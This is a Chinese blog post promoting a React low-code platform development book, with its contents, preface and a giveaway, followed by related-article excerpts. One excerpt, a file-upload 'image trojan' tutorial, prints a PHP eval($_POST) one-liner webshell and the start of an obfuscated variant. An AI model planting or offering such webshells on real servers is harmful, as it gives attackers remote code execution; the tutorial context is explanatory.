低代码平台开发——基于React(文末送书)

目录

    • 小程一言
    • 适用对象
    • 本书达成
  • 书籍介绍
    • 作者简介
    • 内容介绍
    • 书籍目录
    • 阅读指导
  • 小程送书

小程一言

《低代码平台开发——基于React》这本书主要围绕低代码平台和React技术的结合展开,为读者提供了关于低代码平台开发的理论和实践知识。
在这里插入图片描述## 书中内容简介

  • 书中内容分为三部分
  1. 基础理论知识:这部分介绍了低代码平台的基本概念和原理,以及使用React进行低代码开发的基础知识。
  2. 构建低代码系统:书中详细介绍了如何从零开始构建一个低代码系统。这包括进行需求分析,如列表页、详情页和表单页的布局和逻辑需求,以及可视化编辑器、应用管理、组件市场和用户管理的需求。接着,书中介绍了设计思路,包括架构设计、Schema设计、组件库市场和MongoDB Document设计等。最后,书中详细介绍了编码过程,包括可视化编辑器的实现、渲染SDK的实现、版本控制,以及如何将这些功能集成到其他系统中。
  3. 实践和案例:书中不仅包含详细的代码实现,还提供了需求分析和设计思路等其他必要内容。为了帮助读者更容易地开发出自己的低代码平台,书中对协议、组件、设计器和代码生成器等低代码核心内容进行了详细解读,并配有可直接使用的源码和一个包含前端与后端代码的开源项目。

适用对象

  • 有React、Node.js和数据库基础,想开发低代码平台的读者;
  • 想全面了解低代码平台组成及原理的读者;
  • 对开发低代码平台感兴趣的读者。

本书达成

通过学习本书,读者可以了解如何选择合适的低代码平台,掌握平台的使用方法,并学会结合自定义开发来满足复杂的业务需求。同时,书中还探讨了基于React的低代码平台开发的未来发展趋势,包括智能化、云端集成和开放性与扩展性等方面的内容。

书籍介绍

作者简介

秦小倩(网名何遇)
资深前端工程师,精通TypeScript、JavaScript,以及React和Vue等框架。曾就职于多家知名互联网公司,均从事前端开发相关工作,拥有丰富的现代Web应用开发经验。2019年开始专注于低代码平台的研究和开发,曾在公司内部落地一个完整的低代码平台,用户通过该平台在1个季度内创建了200余个页面。

内容介绍

本书分为4篇,包括基础知识介绍、需求分析、实战开发低代码平台和基础设施建设。基础篇涵盖React、MobX、MongoDB等内容;需求分析篇介绍业务场景和平台需求;实战篇提供代码示例,涉及低代码架构、组件、设计器等;基础设施篇介绍CI/CD、npm私有库、LDAP账号管理。建议经验丰富者从第4章开始,新手则从第1章学起。

书籍目录

前言
基础篇
第1章 前置知识2
1.1 函数组件与类组件2
1.2 React Ref API4
1.3 React Hooks7
1.3.1 useState7
1.3.2 useRef9
1.3.3 useEffect10
1.3.4 useReducer12
1.3.5 自定义Hooks16
1.4 React Context API17
1.5 深入理解React的渲染流程19
1.5.1 生命周期流程19
1.5.2 渲染流程21
1.5.3 immutable与React渲染24
1.6 MobX状态管理库27
1.6.1 从一个Demo开始27
1.6.2 MobX的核心概念30
1.6.3 集成React35
1.7 MongoDB39
1.7.1 安装MongoDB40
1.7.2 数据建模41
1.7.3 模式验证43
1.8 Mongoose45
1.8.1 快速开始46
1.8.2 连接数据库47
1.8.3 Schema49
需求分析篇
第2章 业务场景的需求分析54
2.1 列表页的需求分析54
2.2 详情页的需求分析55
2.3 表单页的需求分析56
第3章 低代码平台的需求分析58
3.1 用户管理59
3.2 组件市场60
3.3 应用管理61
3.4 可视化编辑器63
3.4.1 列表编辑器63
3.4.2 低代码引擎67
实战篇
第4章 架构的设计与实现74
4.1 什么是低代码74
4.1.1 纯代码、低代码和无代码74
4.1.2 低代码的发展76
4.1.3 低代码平台的分类78
4.2 架构策略80
4.3 低代码组件81
4.3.1 组件的分类82
4.3.2 组件的特征83
4.4 编辑器86
4.4.1 布局编辑86
4.4.2 属性编辑88
4.4.3 数据编辑89
4.4.4 逻辑编辑92
4.5 代码编译器93
4.5.1 代码编译器的演变94
4.5.2 渲染器95
4.5.3 源码生成器97
4.6 插件系统99
4.6.1 什么是插件化架构99
4.6.2 实现插件化架构101
4.6.3 插件化架构与低代码103
4.7 历史记录管理104
第5章 低代码组件的设计与实现106
5.1 组件规格107
5.1.1 组件规格协议108
5.1.2 自动生成组件规格110
5.2 组件的消费方式115
5.3 开发一个脚手架118
5.4 开发一个低代码组件122
5.5 组件市场126
第6章 低代码引擎的设计与实现127
6.1 页面搭建协议128
6.2 入料模块131
6.2.1 插件131
6.2.2 属性设置器132
6.2.3 组件132
6.2.4 引擎面板135
6.3 渲染器环境137
6.3.1 唤起渲染器环境137
6.3.2 与设计器环境通信139
6.3.3 重新渲染画布141
6.4 设计器142
6.4.1 对象建模142
6.4.2 拖曳定位143
6.4.3 编辑属性149
第7章 渲染器的应用实践156
7.1 显示组件156
7.1.1 页面容器158
7.1.2 布局容器159
7.1.3 表单控件160
7.1.4 普通UI组件160
7.2 数据源161
7.2.1 从服务器获取数据源161
7.2.2 从父容器获取数据源166
7.2.3 将数据提供给后代166
7.3 表单联动167
7.3.1 禁用联动168
7.3.2 显隐联动169
7.3.3 取值联动170
7.4 表单校验172
7.5 生命周期174
第8章 代码生成器的原理与实践176
8.1 工作原理及概念177
8.1.1 拆分代码块177
8.1.2 文件类型179
8.2 插件183
8.3 项目构建器189
8.4 文件存储192
8.4.1 GitLab API192
8.4.2 数据库设计195
基础设施篇
第9章 基础设施的技术方案198
9.1 研发体系构建198
9.1.1 GitLab CI/CD198
9.1.2 npm私有库202
9.1.3 CDN服务204
9.2 LDAP账号管理212
9.2.1 搭建LDAP账号管理系统212
9.2.2 接入LDAP账号管理系统218
9.3 开源低代码项目选型实践220
9.3.1 阿里低代码引擎220
9.3.2 网易云音乐低代码引擎223
9.3.3 腾讯低代码项目224
9.3.4 码良H5页面生成平台226

在这里插入图片描述## 书籍前言

  • 为什么要写这本书
    3年前我在就职的公司开发了一个低代码平台,并将其投入生产,该平台投产后在公司内部获得了大量好评。近些年,国内的大厂如腾讯和阿里巴巴等都推出了自己的低代码产品,规模小一些的互联网企业也在开发低代码平台以求提高App的开发效率。Web技术发展到目前这个阶段,程序员开发一个能用的低代码平台已经不是难事,但开发一个好用的低代码平台却相当困难。在这里,我希望把自己关于低代码平台的思考和经验分享出来,给想要了解低代码平台或者正在设计低代码平台的读者提供一些思路和参考。

  • 3年前我开发的低代码平台虽然能创建出App,但存在如下5个问题:

    1)创建的App不能独立于低代码平台运行。
    2)低代码App的JSON Schema不能独立于低代码平台存在。
    3)低代码App没有区分编辑态和运行态,只引入了一个只读状态去判断页面上的组件能否拖曳、删除或编辑属性。
    4)当处于编辑态时,低代码App没有纯净的运行环境。
    5)不存在组件市场,低代码设计器能使用的组件全部写在项目内。

  • 本书介绍的低代码平台解决了上述5个问题。读者通过本书将了解到下面4个方面的内容:

    1)JSON Schema保存到Git仓库中,它不影响线上运行的低代码App,只用于低代码App各版本的预览和重新编辑。
    2)线上运行的低代码App与JSON Schema脱钩,即便低代码平台停止服务,线上的低代码App也能正常运行。
    3)低代码App在编辑态时,设计器和渲染器位于不同的Frame,此时低代码App有纯净的运行环境,这涉及跨Frame拖曳组件。
    4)开发脚手架,并将其用于开发、调试和上传低代码组件,这使得设计器能使用丰富的组件去开发低代码App,同时让低代码组件和低代码平台解耦。

阅读指导

基础篇(第1章)介绍学习本书必备的理论知识,涉及的知识点有React Ref API、React Hooks、React Context API、MobX和MongoDB等。要想在本地运行本书介绍的低代码平台,需要在自己的计算机上安装MongoDB。
需求分析篇(第2章和第3章)介绍业务场景的需求和开发低代码平台的需求。
实战篇(第4~8章)是本书的重点部分,介绍如何开发低代码平台,提供了大量的代码示例,涉及的内容有低代码架构策略、低代码组件、设计器、渲染器和代码生成器等。
基础设施篇(第9章)重点介绍如何使用GitLab CI/CD构建持续部署的Pipeline、如何搭建npm私有库、如何搭建LDAP账号管理系统等。
如果你是一名经验丰富的软件工程师并且对低代码已有较多了解,建议从第4章开始阅读;如果你对低代码了解得不多,那么请从第1章开始学习。

在这里插入图片描述

小程送书

  • 参与方式
    点赞+收藏+任意评论(评论最多三次)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/430440.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AI大预言模型——ChatGPT与AI绘图及论文高效写作

原文链接:AI大预言模型——ChatGPT与AI绘图及论文高效写作 2023年随着OpenAI开发者大会的召开,最重磅更新当属GPTs,多模态API,未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义,不亚于互联网…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…

Python图像处理【21】基于卷积神经网络增强微光图像

基于卷积神经网络增强微光图像 0. 前言1. MBLLEN 网络架构2. 增强微光图像小结系列链接 0. 前言 在本节中&#xff0c;我们将学习如何基于预训练的深度学习模型执行微光/夜间图像增强。由于难以同时处理包括亮度、对比度、伪影和噪声在内的所有因素&#xff0c;因此微光图像增…

Qt::TabWidget

在Tab的右上角添加控件 QPushButton *add new QPushButton; add->setText(""); add->resize(30,30); ui->tabWidget->setCornerWidget(add,Qt::TopRightCorner); 结果&#xff1a; Tab添加子页 QWidget*newp new QWidget; ui->tabWidget->add…

Chain-of-thought prompting(链式思考提示)

1.大模型“涌现”的思维链 最近 AI 大厂的开发人员和高校的 NLP 研究人员&#xff0c;都在琢磨&#xff0c;怎么让大模型“涌现”。 所谓“涌现”&#xff0c;在大模型领域指的是当模型突破某个规模时&#xff0c;性能显著提升&#xff0c;表现出让人惊艳、意想不到的能力。比如…

【进击的算法】动态规划——01背包

&#x1f37f;本文主题&#xff1a;动态规划 01背包 背包问题 C/C 算法 &#x1f388;更多算法&#xff1a;基础回溯算法 基础动态规划 &#x1f495;我的主页&#xff1a;蓝色学者的主页 文章目录 一、前言二、概念✔️动态规划概念✔️01背包的概念 三、问题描述与讲解&#…

《PyTorch深度学习实践》第十一讲卷积神经网络进阶

一、 1、卷积核超参数选择困难&#xff0c;自动找到卷积的最佳组合。 2、1x1卷积核&#xff0c;不同通道的信息融合。使用1x1卷积核虽然参数量增加了&#xff0c;但是能够显著的降低计算量(operations) 3、Inception Moudel由4个分支组成&#xff0c;要分清哪些是在Init里定义…

数据库设计革命:逻辑模型的演变与面向对象的突破

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua&#xff0c;在这里我会分享我的知识和经验。&#x…

C 判断

判断结构要求程序员指定一个或多个要评估或测试的条件&#xff0c;以及条件为真时要执行的语句&#xff08;必需的&#xff09;和条件为假时要执行的语句&#xff08;可选的&#xff09;。 C 语言把任何非零和非空的值假定为 true&#xff0c;把零或 null 假定为 false。 下面…

YOLOv7优化改进:下采样创新篇 | 新颖的下采样ADown | YOLOv9

💡💡💡本文独家改进:新颖的下采样ADown来自于YOLOv9,助力YOLOv7,将ADown添加在backbone和head处,提供多个yaml改进方法 💡💡💡在多个私有数据集和公开数据集VisDrone2019、PASCAL VOC实现涨点 收录 YOLOv7原创自研 https://blog.csdn.net/m0_63774211/ca…

Jmeter学习系列之七:并发线程组Concurrency Thread Group详解

一、Concurrency Thread Group的介绍 Concurrency Thread Group提供了用于配置多个线程计划的简化方法该线程组目的是为了保持并发水平,意味着如果并发线程不够,则在运行线程中启动额外的线程和Standard Thread Group不同,它不会预先创建所有线程,因此不会使用额外的内存对…

【数据结构】插入排序详细图解(一看就懂)

&#x1f4af; 博客内容&#xff1a;【数据结构】插入排序详细图解&#xff08;一看就懂&#xff09; &#x1f600; 作  者&#xff1a;陈大大陈 &#x1f989;所属专栏&#xff1a;数据结构笔记 &#x1f680; 个人简介&#xff1a;一个正在努力学技术的准前端&#xff0c;…

CleanMyMac X软件的清理效果怎么样?好不好用

在实际使用中&#xff0c;CleanMyMac X的清理效果非常显著。以下是一些实际的使用案例和数据&#xff1a; 清理效果的实例&#xff1a;一位Mac用户反映&#xff0c;他的Mac电脑在使用了三年后&#xff0c;通过CleanMyMac X的清理&#xff0c;成功清除了超过62GB的垃圾数据。这…

Cesium 自定义Primitive - 矩形

一、创作思路 1、创建一个自定义CustomPrimitive 2、然后根据两个点&#xff0c;生成矩形 3、方便后期绘制矩形 二、实现代码 1、在vue的包中加入turf. npm install turf/turf 1、创建一个CustomRectanglePrimitive类,并加入更新的代码 import {Color,GeometryInstance,Groun…

【PPT技巧】PPT怎么设置修改文件密码?

PPT文件制作好了之后&#xff0c;保护内容防止在演示时出错是很重要的&#xff0c;那么如何将PPT文件设置成禁止修改模式呢&#xff1f;今天分享几个方法给大家。 方法一 将PPT文件直接保存或者另存为一份文件&#xff0c;在保存时&#xff0c;将文件格式选择为PowerPoint图片…

win系统如何同时安装MySQL5和MySQL8

win系统如何同时安装MySQL5和MySQL8 文章目录 win系统如何同时安装MySQL5和MySQL81、准备好两种版本的数据库2、下载后解压到你指定的目录3、手动配置安装MySQL5和8安装MySQL53.1创建my.ini文件3.2生成data文件夹 安装MySQL83.1创建my.ini文件3.2生成data文件夹 4、配置环境变量…

【.NET Core】深入理解IO - 读取器和编写器

【.NET Core】深入理解IO - 读取器和编写器 文章目录 【.NET Core】深入理解IO - 读取器和编写器一、概述二、BinaryReader和BinaryWriter2.1 BinartReader类2.2 BinaryWriter类 三、StreamReader和StreamWriter3.1 StreamReader类3.1 StreamWriter类StreamWriter类构造函数Str…

【Datawhale组队学习:Sora原理与技术实战】Attention和LLM

Attention Attention 注意力&#xff0c;从两个不同的主体开始。 论文&#xff1a;https://arxiv.org/pdf/1703.03906.pdf seq2seq代码仓&#xff1a;https://github.com/google/seq2seq 计算方法&#xff1a; 加性Attention&#xff0c;如&#xff08;Bahdanau attention&…

FL Studio2024中文版全新发布,水果音乐制作软件再升级

随着音乐制作技术的不断发展&#xff0c;FL Studio也在不断升级和完善。近日&#xff0c;备受期待的FL Studio2024中文版终于全新发布&#xff01;这一版本的推出为广大音乐爱好者带来了更加丰富的音乐制作体验和更多创新功能。 FL Studio2024中文版在继承了之前版本强大功能的…

分享一本好书《大模型应用开发极简入门:基于GPT-4和ChatGPT》

如果问个问题&#xff1a;有哪些产品曾经创造了伟大的奇迹&#xff1f;ChatGPT 应该会当之无愧入选。仅仅发布 5 天&#xff0c;ChatGPT 就吸引了 100 万用户——当然&#xff0c;数据不是关键&#xff0c;关键是其背后的技术开启了新的 AI 狂潮&#xff0c;成为技术变革的点火…